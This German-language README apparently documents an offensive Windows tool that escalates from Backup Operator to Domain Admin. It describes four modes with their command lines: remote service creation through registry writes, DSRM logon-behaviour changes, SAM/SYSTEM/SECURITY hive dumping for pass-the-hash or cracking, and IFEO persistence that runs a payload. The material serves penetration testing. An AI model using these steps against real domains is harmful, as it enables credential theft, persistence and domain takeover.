improsec/backupoperatortoolkitEskalieren vom Backup-Operator zum Domänenadministrator mittels vier Techniken: Remotediensterstellung, DSRM-Registrierungsmanipulation, SAM/SYSTEM-Hive-Dumping und IFEO-Persistenz für laterale Bewegung und Privilegieneskalation.
Das BackupOperatorToolkit (BOT) bietet 4 verschiedene Modi, mit denen Sie vom Backup-Operator zum Domain-Admin aufsteigen können.
Verwenden Sie vor dem Ausführen des Tools "runas.exe /netonly /user:domain.dk\backupoperator powershell.exe".
Der SERVICE-Modus erstellt einen Dienst auf dem entfernten Host, der ausgeführt wird, wenn der Host neu gestartet wird.
Der Dienst wird durch Ändern der entfernten Registrierung erstellt. Dies ist möglich, indem der Wert "REG_OPTION_BACKUP_RESTORE" an RegOpenKeyExA und RegSetValueExA übergeben wird.
Es ist nicht möglich, den Dienst sofort ausführen zu lassen, da die Dienststeuerungsmanager-Datenbank "SERVICES_ACTIVE_DATABASE" beim Booten in den Speicher geladen wird und nur mit lokalen Administratorrechten geändert werden kann, über die der Backup-Operator nicht verfügt.
.\BackupOperatorToolkit.exe SERVICE \\PATH\To\Service.exe \\TARGET.DOMAIN.DK SERVICENAME DISPLAYNAME DESCRIPTION
Der DSRM-Modus setzt den Registrierungsschlüssel DsrmAdminLogonBehavior, der sich unter "HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" befindet, auf 0, 1 oder 2.
Wenn der Wert auf 0 gesetzt ist, kann das DSRM-Konto nur im Wiederherstellungsmodus verwendet werden.
Wenn der Wert auf 1 gesetzt ist, kann das DSRM-Konto verwendet werden, wenn der Verzeichnisdienst gestoppt und die NTDS entsperrt ist.
Wenn der Wert auf 2 gesetzt ist, kann das DSRM-Konto mit Netzwerkauthentifizierung wie WinRM verwendet werden.
Wenn der DUMP-Modus verwendet wurde und das DSRM-Konto offline geknackt wurde, setzen Sie den Wert auf 2 und melden Sie sich mit dem DSRM-Konto am Domain Controller an, das dann lokaler Administrator ist.
.\BackupOperatorToolkit.exe DSRM \\TARGET.DOMAIN.DK 0||1||2
Der DUMP-Modus sichert die SAM-, SYSTEM- und SECURITY-Hives in einen lokalen Pfad auf dem entfernten Host oder lädt die Dateien in eine Netzwerkfreigabe hoch.
Sobald die Hives gesichert wurden, könnten Sie PtH mit dem Domain-Controller-Hash durchführen, DSRM knacken und Netzwerk-Auth aktivieren, oder sich möglicherweise mit einem anderen in den Dumps gefundenen Konto authentifizieren. Konten aus anderen Gesamtstrukturen könnten in diesen Dateien gespeichert sein. Ich bin mir nicht sicher, warum, aber dies wurde bei Engagements mit Management-Gesamtstrukturen beobachtet.
Dieser Modus ist vom Projekt BackupOperatorToDA inspiriert.
.\BackupOperatorToolkit.exe DUMP \\PATH\To\Dump \\TARGET.DOMAIN.DK
Der IFEO (Image File Execution Options) ermöglicht es Ihnen, eine Anwendung auszuführen, wenn ein bestimmter Prozess beendet wird.
Dies könnte vor dem SERVICE-Modus eine Shell gewähren, falls der Zielhost stark ausgelastet und selten neu gestartet wird.
Die ausführbare Datei wird als untergeordneter Prozess von WerFault.exe ausgeführt.
.\BackupOperatorToolkit.exe IFEO notepad.exe \\Path\To\pwn.exe \\TARGET.DOMAIN.DK
